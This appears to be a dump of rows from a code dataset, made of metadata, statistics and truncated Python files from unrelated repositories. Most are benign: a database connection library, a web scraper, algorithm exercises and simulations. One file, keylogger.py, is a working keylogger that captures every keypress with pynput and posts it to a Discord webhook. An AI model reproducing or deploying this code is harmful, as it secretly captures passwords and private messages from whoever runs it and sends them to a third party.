Data loads lazily. Type data(earns) into the... | 22.948718 | 77 | 0.668715 | 250 | 1,790 | 4.628 | 0.564 | 0.006914 | 0.041487 | 0.039758 | 0.063959 | 0 | 0 | 0 | 0 | 0 | 0 | 0.031884 | 0.22905 | 1,790 | 77 | 78 | 23.246753 | 0.806522 | 0.560894 | 0 | 0 | 0 | 0 | 0.094872 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.045455 | false | 0 | 0.409091 | 0 | 0.5 | 0.045455 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
ca2994cdce6a918a52358bb0350464c0936acaaf | 3,979 | py | Python | applications/common/helper.py | wangyuan02605/webcloud | e57a2713125b751ee8bb8da29b789e2044e789aa | [
"MIT"
] | null | null | null | applications/common/helper.py | wangyuan02605/webcloud | e57a2713125b751ee8bb8da29b789e2044e789aa | [
"MIT"
] | null | null | null | applications/common/helper.py | wangyuan02605/webcloud | e57a2713125b751ee8bb8da29b789e2044e789aa | [
"MIT"
] | null | null | null | from sqlalchemy import and_
from applications.extensions import db
class ModelFilter:
"""
orm多参数构造器
"""
filter_field = {}
filter_list = []
type_exact = "exact"
type_neq = "neq"
type_greater = "greater"
type_less = "less"
type_vague = "vague"
type_contains = "contains"
... | 31.330709 | 102 | 0.535059 | 470 | 3,979 | 4.357447 | 0.121277 | 0.118652 | 0.09375 | 0.087891 | 0.67334 | 0.663086 | 0.62793 | 0.57959 | 0.563477 | 0.538086 | 0 | 0.003689 | 0.318673 | 3,979 | 126 | 103 | 31.579365 | 0.751752 | 0.120885 | 0 | 0.135593 | 0 | 0 | 0.056452 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.186441 | false | 0 | 0.033898 | 0 | 0.40678 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca2b0dad038c52011b184c9f22c8556a8ea95861 | 2,721 | py | Python | models/data_view.py | opendatapress/open_data_press | 65912da8a4bc7268849ae944cafcfafcfc767937 | [
"MIT"
] | 1 | 2018-02-09T08:10:48.000Z | 2018-02-09T08:10:48.000Z | models/data_view.py | opendatapress/open_data_press | 65912da8a4bc7268849ae944cafcfafcfc767937 | [
"MIT"
] | null | null | null | models/data_view.py | opendatapress/open_data_press | 65912da8a4bc7268849ae944cafcfafcfc767937 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
#
# A data view
#
import logging
from google.appengine.ext import db
from models.data_source import DataSource
from helpers.views import render_data, render
class DataView(db.Model):
# Valid file types
valid_extensions = ['txt', 'csv', 'xml', 'json', ... | 40.61194 | 104 | 0.61889 | 322 | 2,721 | 5.07764 | 0.332298 | 0.091743 | 0.051376 | 0.034251 | 0.127217 | 0.051376 | 0.019572 | 0.019572 | 0 | 0 | 0 | 0.000985 | 0.253583 | 2,721 | 67 | 105 | 40.61194 | 0.804037 | 0.079383 | 0 | 0 | 0 | 0 | 0.149116 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.106383 | false | 0 | 0.085106 | 0.021277 | 0.531915 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
ca2d6a32b815ca5da2787b5f7fd75e0d68415e07 | 1,956 | py | Python | 1-Lesson-Plans/25-Python/In-Class Python/1/Activities/04-Evr_VariableDissection/Solved/Variables-Dissect.py | BaleBase/lala | 33193a7dd3563c7636493e52fa9a4956ec4b9dc6 | [
"CNRI-Python"
] | null | null | null | 1-Lesson-Plans/25-Python/In-Class Python/1/Activities/04-Evr_VariableDissection/Solved/Variables-Dissect.py | BaleBase/lala | 33193a7dd3563c7636493e52fa9a4956ec4b9dc6 | [
"CNRI-Python"
] | null | null | null | 1-Lesson-Plans/25-Python/In-Class Python/1/Activities/04-Evr_VariableDissection/Solved/Variables-Dissect.py | BaleBase/lala | 33193a7dd3563c7636493e52fa9a4956ec4b9dc6 | [
"CNRI-Python"
] | 1 | 2021-06-08T06:50:23.000Z | 2021-06-08T06:50:23.000Z | # Part 1: Integers
# =====================================
# Prints: 10
# Prints: # <class 'int'>
variable_one = 10
print(variable_one)
print(type(variable_one))
# Prints: 5
variable_two = 5
print(variable_two)
# Prints: 15
sum_of_variables = variable_one + variable_two
print(sum_of_variables)
# Prints: 5
differenc... | 23.285714 | 98 | 0.692229 | 265 | 1,956 | 4.898113 | 0.264151 | 0.059322 | 0.052388 | 0.086287 | 0.311248 | 0.205701 | 0.058552 | 0 | 0 | 0 | 0 | 0.028386 | 0.135481 | 1,956 | 83 | 99 | 23.566265 | 0.739208 | 0.43456 | 0 | 0 | 0 | 0 | 0.079439 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.545455 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 |
ca2e87462154619b0f1a0525ebf9520583c0d99b | 7,096 | py | Python | pybda/bda_02a_cor.py | OxfordSKA/bda | 0f92bead29a26d18fddaf5eb2ecd6f6d92401c2d | [
"BSD-3-Clause"
] | 2 | 2019-11-22T18:39:49.000Z | 2020-03-13T04:03:50.000Z | pybda/bda_02a_cor.py | OxfordSKA/bda | 0f92bead29a26d18fddaf5eb2ecd6f6d92401c2d | [
"BSD-3-Clause"
] | null | null | null | pybda/bda_02a_cor.py | OxfordSKA/bda | 0f92bead29a26d18fddaf5eb2ecd6f6d92401c2d | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
"""Module to create corruptions."""
import numpy
import os
from os.path import join
import time
import json
import pickle
import shutil
from numpy import array, int32
import utilities
def get_time_info(ms):
"""."""
tb.open(ms, nomodify=True)
times = numpy.unique(tb.getcol('TIME_CE... | 31.537778 | 78 | 0.502678 | 792 | 7,096 | 4.325758 | 0.236111 | 0.025686 | 0.016346 | 0.023351 | 0.344425 | 0.277583 | 0.232633 | 0.229422 | 0.202569 | 0.161705 | 0 | 0.034117 | 0.322576 | 7,096 | 224 | 79 | 31.678571 | 0.678594 | 0.082159 | 0 | 0.284091 | 0 | 0 | 0.157399 | 0 | 0 | 0 | 0 | 0.004464 | 0 | 0 | null | null | 0 | 0.051136 | null | null | 0.045455 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
ca2fa87d6cf4a73a4b45887ceb3513ea71760058 | 1,843 | py | Python | auxil/broker/tests/benchmark/broker-benchmark.py | hugolin615/zeek-4.0.0-ele420520-spring2021 | 258e9b2ee1f2a4bd45c6332a75304793b7d44d40 | [
"Apache-2.0"
] | 1 | 2021-03-06T19:51:07.000Z | 2021-03-06T19:51:07.000Z | auxil/broker/tests/benchmark/broker-benchmark.py | hugolin615/zeek-4.0.0-ele420520-spring2021 | 258e9b2ee1f2a4bd45c6332a75304793b7d44d40 | [
"Apache-2.0"
] | null | null | null | auxil/broker/tests/benchmark/broker-benchmark.py | hugolin615/zeek-4.0.0-ele420520-spring2021 | 258e9b2ee1f2a4bd45c6332a75304793b7d44d40 | [
"Apache-2.0"
] | null | null | null | # ping.py
import sys
import time
import broker
event = int(sys.argv[1])
total_sent_ev1 = 0
total_recv_ev1 = 0
first_t = float(time.time())
last_t = first_t
last_sent_ev1 = 0
def printStats(stats):
t = stats[0]
dt = stats[1]
ev1 = stats[1 + event].value
global total_recv_ev1
total_recv_ev1 += ... | 23.329114 | 145 | 0.606077 | 290 | 1,843 | 3.67931 | 0.324138 | 0.072165 | 0.078725 | 0.026242 | 0.133083 | 0.09747 | 0.09747 | 0.09747 | 0.09747 | 0.09747 | 0 | 0.04416 | 0.238199 | 1,843 | 78 | 146 | 23.628205 | 0.715812 | 0.097124 | 0 | 0.037037 | 0 | 0 | 0.100602 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.055556 | false | 0 | 0.055556 | 0 | 0.111111 | 0.092593 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca32bda0e8473b1b0757239f57fdc6efaa9ba516 | 39,222 | py | Python | aiopg/connection.py | arssher/aiopg | ed69a066608ac4788b2bc8a0cdd03690f22adb3a | [
"BSD-2-Clause"
] | 1,307 | 2015-01-06T15:52:21.000Z | 2022-03-25T16:04:53.000Z | aiopg/connection.py | arssher/aiopg | ed69a066608ac4788b2bc8a0cdd03690f22adb3a | [
"BSD-2-Clause"
] | 765 | 2015-01-11T10:17:57.000Z | 2022-01-29T13:04:30.000Z | aiopg/connection.py | arssher/aiopg | ed69a066608ac4788b2bc8a0cdd03690f22adb3a | [
"BSD-2-Clause"
] | 194 | 2015-02-20T09:29:30.000Z | 2022-03-03T19:49:19.000Z | import abc
import asyncio
import contextlib
import datetime
import enum
import errno
import platform
import select
import sys
import traceback
import uuid
import warnings
import weakref
from collections.abc import Mapping
from types import TracebackType
from typing import (
Any,
Callable,
Generator,
Lis... | 31.277512 | 79 | 0.597828 | 4,367 | 39,222 | 5.199908 | 0.127777 | 0.019024 | 0.024265 | 0.023252 | 0.380307 | 0.331161 | 0.278448 | 0.242426 | 0.214066 | 0.1791 | 0 | 0.002972 | 0.313676 | 39,222 | 1,253 | 80 | 31.302474 | 0.840596 | 0.144205 | 0 | 0.381688 | 0 | 0 | 0.084657 | 0.007598 | 0 | 0 | 0 | 0 | 0.008323 | 1 | 0.095125 | false | 0 | 0.02497 | 0.026159 | 0.237812 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca332f4e3962c40a19b554a8ccd714164ef6dac0 | 4,545 | py | Python | meme_scraper/meme_scraper/spiders/memes_spider.py | wyndwarrior/DankMemes | d807e7d7e5b619eb98e7398534ea389a98fe9500 | [
"MIT"
] | 20 | 2016-11-14T19:49:55.000Z | 2021-01-19T00:46:47.000Z | meme_scraper/meme_scraper/spiders/memes_spider.py | wyndwarrior/DankMemes | d807e7d7e5b619eb98e7398534ea389a98fe9500 | [
"MIT"
] | 3 | 2016-11-14T20:28:21.000Z | 2018-01-08T16:44:36.000Z | meme_scraper/meme_scraper/spiders/memes_spider.py | wyndwarrior/DankMemes | d807e7d7e5b619eb98e7398534ea389a98fe9500 | [
"MIT"
] | 2 | 2017-02-03T04:15:10.000Z | 2018-01-08T17:04:47.000Z | import scrapy
def is_gif(url):
return url[-4:] == '.gif' or url[-5:] == '.gifv'
def is_image(url):
return url[-4:] == '.jpg' or url[-5:] == '.jpeg' or url[-4:] == '.png'
class MemesSpider(scrapy.Spider):
name = "memes"
def __init__(self):
self.NUM_PAGES = 1
self.resolution = "500x500... | 37.875 | 94 | 0.540374 | 526 | 4,545 | 4.477186 | 0.212928 | 0.053503 | 0.02293 | 0.040764 | 0.464968 | 0.357113 | 0.259023 | 0.162208 | 0.162208 | 0.131635 | 0 | 0.006205 | 0.326293 | 4,545 | 120 | 95 | 37.875 | 0.7629 | 0.005061 | 0 | 0.22549 | 0 | 0 | 0.145133 | 0.014823 | 0 | 0 | 0 | 0 | 0 | 1 | 0.078431 | false | 0.009804 | 0.009804 | 0.019608 | 0.137255 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca33e7b95795b18f73106c41b3e69597ae402a94 | 9,706 | py | Python | src/phase/utils.py | PacificBiosciences/pbampliconclustering | cc0efd2a88a56852ffff5dd04e90cb394ff46671 | [
"BSD-3-Clause-Clear"
] | 5 | 2019-09-27T20:10:33.000Z | 2020-11-15T13:03:47.000Z | src/phase/utils.py | PacificBiosciences/pbampliconclustering | cc0efd2a88a56852ffff5dd04e90cb394ff46671 | [
"BSD-3-Clause-Clear"
] | 2 | 2021-01-27T12:32:24.000Z | 2021-02-02T18:02:27.000Z | src/phase/utils.py | PacificBiosciences/pbampliconclustering | cc0efd2a88a56852ffff5dd04e90cb394ff46671 | [
"BSD-3-Clause-Clear"
] | 3 | 2020-12-28T10:12:49.000Z | 2020-12-28T10:13:13.000Z | import pysam
import pandas as pd
import mappy as mp
from itertools import chain
from statistics import median
from collections import Counter
from scipy.stats import entropy
MINLEN=50
MAXLEN=50000
def summary(splitter,caller):
try:
minsig = splitter.minSignal
minfrac = splitter._minFrac
... | 33.239726 | 110 | 0.562127 | 1,159 | 9,706 | 4.653149 | 0.25453 | 0.024476 | 0.007417 | 0.002225 | 0.145744 | 0.106434 | 0.081216 | 0.066753 | 0.054144 | 0.054144 | 0 | 0.010027 | 0.301257 | 9,706 | 291 | 111 | 33.353952 | 0.785167 | 0.016073 | 0 | 0.149606 | 0 | 0.003937 | 0.162683 | 0.056604 | 0 | 0 | 0.002096 | 0.003436 | 0 | 1 | 0.110236 | false | 0.027559 | 0.027559 | 0.015748 | 0.271654 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca34d060f848bab1e475f4337bc0cb9c7625f083 | 7,472 | py | Python | bioptim/optimization/optimization_variable.py | Naassila/bioptim | 511e7ba315de5ca8c3bdcc85decd43bac30676b9 | [
"MIT"
] | null | null | null | bioptim/optimization/optimization_variable.py | Naassila/bioptim | 511e7ba315de5ca8c3bdcc85decd43bac30676b9 | [
"MIT"
] | null | null | null | bioptim/optimization/optimization_variable.py | Naassila/bioptim | 511e7ba315de5ca8c3bdcc85decd43bac30676b9 | [
"MIT"
] | null | null | null | from typing import Union
import numpy as np
from casadi import MX, SX, vertcat, horzcat
from ..misc.mapping import BiMapping
class OptimizationVariable:
"""
An optimization variable and the indices to find this variable in its state or control vector
Attributes
----------
name: str
The ... | 26.877698 | 109 | 0.55795 | 918 | 7,472 | 4.429194 | 0.149237 | 0.024594 | 0.013773 | 0.014757 | 0.504181 | 0.473684 | 0.416134 | 0.361043 | 0.336203 | 0.303246 | 0 | 0.003511 | 0.351981 | 7,472 | 277 | 110 | 26.974729 | 0.836225 | 0.369781 | 0 | 0.305263 | 0 | 0 | 0.085128 | 0.018687 | 0 | 0 | 0 | 0 | 0 | 1 | 0.178947 | false | 0 | 0.042105 | 0 | 0.421053 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca356ce5b01f12eac1c48272cd08a7d0cde42c26 | 519 | py | Python | AdventCode2017_Python/test.py | yomodev/AdventOfCode | 79c4dd1d129a4ef78631f70564041ed2e9b499eb | [
"MIT"
] | 1 | 2019-12-05T14:55:24.000Z | 2019-12-05T14:55:24.000Z | AdventCode2017_Python/test.py | yomodev/AdventOfCode | 79c4dd1d129a4ef78631f70564041ed2e9b499eb | [
"MIT"
] | null | null | null | AdventCode2017_Python/test.py | yomodev/AdventOfCode | 79c4dd1d129a4ef78631f70564041ed2e9b499eb | [
"MIT"
] | null | null | null | firewall = {}
with open('day13.txt') as file:
for line in file.readlines():
depth, layer_range = map(int, line.strip().split(':'))
firewall[depth] = layer_range
delay = 0
while True:
caught = False
scanner = delay
for position in range(max(firewall.keys())+1):
if position in fir... | 24.714286 | 80 | 0.55684 | 64 | 519 | 4.484375 | 0.546875 | 0.069686 | 0.10453 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.025641 | 0.323699 | 519 | 21 | 81 | 24.714286 | 0.792023 | 0 | 0 | 0.105263 | 0 | 0 | 0.019231 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.052632 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca35cbe7d73f49c87b559fd401594579fc515ab0 | 226 | py | Python | keylogger.py | isi-82/keylogger | fd1cbc9416ea136f637d1b91991ac1f895780ed3 | [
"Unlicense"
] | null | null | null | keylogger.py | isi-82/keylogger | fd1cbc9416ea136f637d1b91991ac1f895780ed3 | [
"Unlicense"
] | null | null | null | keylogger.py | isi-82/keylogger | fd1cbc9416ea136f637d1b91991ac1f895780ed3 | [
"Unlicense"
] | null | null | null | from dhooks import Webhook
from pynput.keyboard import Key, Listener
hook = Webhook("Webhook-URL")
def on_press(key):
hook.send("```\n"+str(key)+"\n```")
with Listener(on_press=on_press) as listener:
listener.join()
| 22.6 | 45 | 0.70354 | 34 | 226 | 4.588235 | 0.558824 | 0.134615 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.132743 | 226 | 9 | 46 | 25.111111 | 0.795918 | 0 | 0 | 0 | 0 | 0 | 0.09292 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.285714 | 0 | 0.428571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
ca389eab535ecdfd9adf226e5f2e3a90095ea7c7 | 1,330 | py | Python | edwiges/__init__.py | loggi/maildog | 1439365b86015f10c8057d0bb32c3aa6810390b5 | [
"Apache-2.0"
] | 12 | 2017-07-22T02:29:56.000Z | 2019-11-25T14:20:37.000Z | edwiges/__init__.py | loggi/maildog | 1439365b86015f10c8057d0bb32c3aa6810390b5 | [
"Apache-2.0"
] | 3 | 2019-12-26T16:40:03.000Z | 2022-03-21T22:16:50.000Z | edwiges/__init__.py | loggi/maildog | 1439365b86015f10c8057d0bb32c3aa6810390b5 | [
"Apache-2.0"
] | null | null | null | """Main entry point
"""
import os
import logging
import logmatic
from pyramid.config import Configurator, ConfigurationError
REQUIRED_SETTINGS = [
'edwiges.provider_host',
'edwiges.provider_port',
]
ENV_SETTINGS = [
'edwiges.provider_host',
'edwiges.provider_port',
'edwiges.provider_username',
... | 23.333333 | 71 | 0.701504 | 152 | 1,330 | 5.993421 | 0.401316 | 0.131723 | 0.100988 | 0.088913 | 0.100988 | 0.100988 | 0.100988 | 0 | 0 | 0 | 0 | 0 | 0.178195 | 1,330 | 56 | 72 | 23.75 | 0.833486 | 0.01203 | 0 | 0.105263 | 0 | 0 | 0.201224 | 0.13466 | 0 | 0 | 0 | 0 | 0 | 1 | 0.052632 | false | 0.026316 | 0.105263 | 0 | 0.210526 | 0.026316 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca38c798ccfaff9e029635bf136f595aa05ba85c | 1,817 | py | Python | test/test_ofc.py | mbdevpl/open-fortran-parser-xml | 127f4ec2ba7cd06eb010794560eb8e4b9494fdfe | [
"Apache-2.0"
] | 16 | 2017-08-01T03:11:17.000Z | 2021-03-04T13:11:43.000Z | test/test_ofc.py | mbdevpl/open-fortran-parser-xml | 127f4ec2ba7cd06eb010794560eb8e4b9494fdfe | [
"Apache-2.0"
] | 14 | 2017-08-08T12:26:47.000Z | 2021-04-08T14:27:39.000Z | test/test_ofc.py | mbdevpl/open-fortran-parser-xml | 127f4ec2ba7cd06eb010794560eb8e4b9494fdfe | [
"Apache-2.0"
] | 9 | 2018-04-04T08:08:15.000Z | 2022-02-01T13:23:59.000Z | """Tests for ofc_wrapper module."""
import logging
import pathlib
import platform
import tempfile
import unittest
from open_fortran_parser.ofc_wrapper import CodeForm, execute_compiler, transpile
_LOG = logging.getLogger(__name__)
_HERE = pathlib.Path(__file__).resolve().parent
INPUT_PATHS = [_HERE.joinpath('examp... | 38.659574 | 92 | 0.617501 | 205 | 1,817 | 5.253659 | 0.370732 | 0.066852 | 0.038997 | 0.051996 | 0.336119 | 0.295265 | 0.295265 | 0.233983 | 0.233983 | 0.233983 | 0 | 0.003897 | 0.293891 | 1,817 | 46 | 93 | 39.5 | 0.835542 | 0.01596 | 0 | 0.228571 | 0 | 0 | 0.047699 | 0 | 0 | 0 | 0 | 0 | 0.114286 | 1 | 0.057143 | false | 0 | 0.171429 | 0 | 0.285714 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca38db220ea62c309c8fb318d37fc2890b039813 | 662 | py | Python | src/differential_value_iteration/environments/mm1_queue_test.py | btanner/differential_value_iteration | 5b734397cd158b6783f5fb44106774ba2a28049f | [
"Apache-2.0"
] | null | null | null | src/differential_value_iteration/environments/mm1_queue_test.py | btanner/differential_value_iteration | 5b734397cd158b6783f5fb44106774ba2a28049f | [
"Apache-2.0"
] | 24 | 2021-08-16T23:21:39.000Z | 2021-11-25T20:46:17.000Z | src/differential_value_iteration/environments/mm1_queue_test.py | btanner/differential_value_iteration | 5b734397cd158b6783f5fb44106774ba2a28049f | [
"Apache-2.0"
] | 2 | 2021-08-06T21:15:49.000Z | 2021-08-16T04:29:52.000Z | """Tests for mm1_queue."""
import functools
import numpy as np
from absl.testing import absltest
from absl.testing import parameterized
from differential_value_iteration.environments import mm1_queue
class MM1QueueTest(parameterized.TestCase):
def test_create_mdp(self):
max_stored_jobs = 5
cost_fn = func... | 27.583333 | 77 | 0.719033 | 90 | 662 | 4.944444 | 0.555556 | 0.07191 | 0.08764 | 0.094382 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.022556 | 0.196375 | 662 | 23 | 78 | 28.782609 | 0.81391 | 0.030211 | 0 | 0 | 0 | 0 | 0.012579 | 0 | 0 | 0 | 0 | 0 | 0.066667 | 1 | 0.066667 | false | 0 | 0.333333 | 0 | 0.466667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
ca395e36cbe0de5a7289dd4b7706b1a242253411 | 4,892 | py | Python | topological_sort.py | Fieldhunter/Data-Structures-and-Algorithms | 8e5ea4313bf27bbfd9dd16cfaf3e7c56cf42a88a | [
"Apache-2.0"
] | 2 | 2019-02-24T10:01:39.000Z | 2019-02-24T10:01:41.000Z | topological_sort.py | Fieldhunter/Data-Structures-and-Algorithms | 8e5ea4313bf27bbfd9dd16cfaf3e7c56cf42a88a | [
"Apache-2.0"
] | null | null | null | topological_sort.py | Fieldhunter/Data-Structures-and-Algorithms | 8e5ea4313bf27bbfd9dd16cfaf3e7c56cf42a88a | [
"Apache-2.0"
] | null | null | null | """
@version: python3.6
@author: Fieldhunter
@contact: 1677532160yuan@gmail.com
@time: 2020-05-03
"""
import functools
class Node():
def __init__(self,element):
self.data = element
self.in_degree = 0
self.out_degree = 0
class Adjacency_list():
"""
Self.__node_mapping is used to record the correspondence b... | 26.301075 | 79 | 0.684791 | 752 | 4,892 | 4.219415 | 0.208777 | 0.052001 | 0.052001 | 0.012606 | 0.239836 | 0.168925 | 0.141822 | 0.124803 | 0.124803 | 0.065553 | 0 | 0.012741 | 0.213818 | 4,892 | 185 | 80 | 26.443243 | 0.812272 | 0.147997 | 0 | 0.258621 | 0 | 0 | 0.030546 | 0.009565 | 0 | 0 | 0 | 0 | 0 | 1 | 0.086207 | false | 0.008621 | 0.008621 | 0.017241 | 0.163793 | 0.051724 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca3c1444dbdd47210fdc594c38dc6c7fc4b597b3 | 3,247 | py | Python | 5.3c_matrix_multiplication.py | bayu-wilson/phys218_example | f6d624d0747c42b29e9855c34a2ab1af28d97654 | [
"MIT"
] | null | null | null | 5.3c_matrix_multiplication.py | bayu-wilson/phys218_example | f6d624d0747c42b29e9855c34a2ab1af28d97654 | [
"MIT"
] | null | null | null | 5.3c_matrix_multiplication.py | bayu-wilson/phys218_example | f6d624d0747c42b29e9855c34a2ab1af28d97654 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
"""Program to multiply 2 matrices together. (nxm)*(mxl)"""
import numpy as np
import timeit
speed_test = True
def check_shape(A,B):
"""Checking if it's possible to multiply these matrices together"""
shape_A = np.shape(A)
shape_B = np.shape(B)
if shape_A[1] != shape_B[0]:
raise ValueErr... | 30.92381 | 108 | 0.706498 | 573 | 3,247 | 3.809773 | 0.228621 | 0.046725 | 0.032982 | 0.038479 | 0.460834 | 0.293175 | 0.21301 | 0.21301 | 0.067797 | 0.037563 | 0 | 0.025469 | 0.12935 | 3,247 | 104 | 109 | 31.221154 | 0.746728 | 0.36988 | 0 | 0.152542 | 0 | 0 | 0.169262 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.135593 | false | 0 | 0.084746 | 0.050847 | 0.338983 | 0.20339 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca3ce730517d85d71f6c4ae8b988f12d3ee052be | 2,349 | py | Python | examples/3-shared-resources/new2.py | sietse/simpy-fsm | a62eb6feeb238147626f20530cfc700f45136f12 | [
"MIT"
] | 2 | 2020-08-04T09:00:55.000Z | 2021-11-09T22:43:39.000Z | examples/3-shared-resources/new2.py | sietse/simpy-fsm | a62eb6feeb238147626f20530cfc700f45136f12 | [
"MIT"
] | 8 | 2020-05-25T09:53:36.000Z | 2020-05-25T10:10:50.000Z | examples/3-shared-resources/new2.py | sietse/simpy-fsm | a62eb6feeb238147626f20530cfc700f45136f12 | [
"MIT"
] | 2 | 2020-08-04T09:01:03.000Z | 2020-12-02T20:27:58.000Z | # Behaviour is identical to simpy_3_resource.py. The difference in
# implementation: Awaiting a charging station + using it is not one
# state that starts with a context manager, but it is two separate
# states. awaiting_battery() awaits the slot; charging() takes the slot,
# charges, and releases the slot.
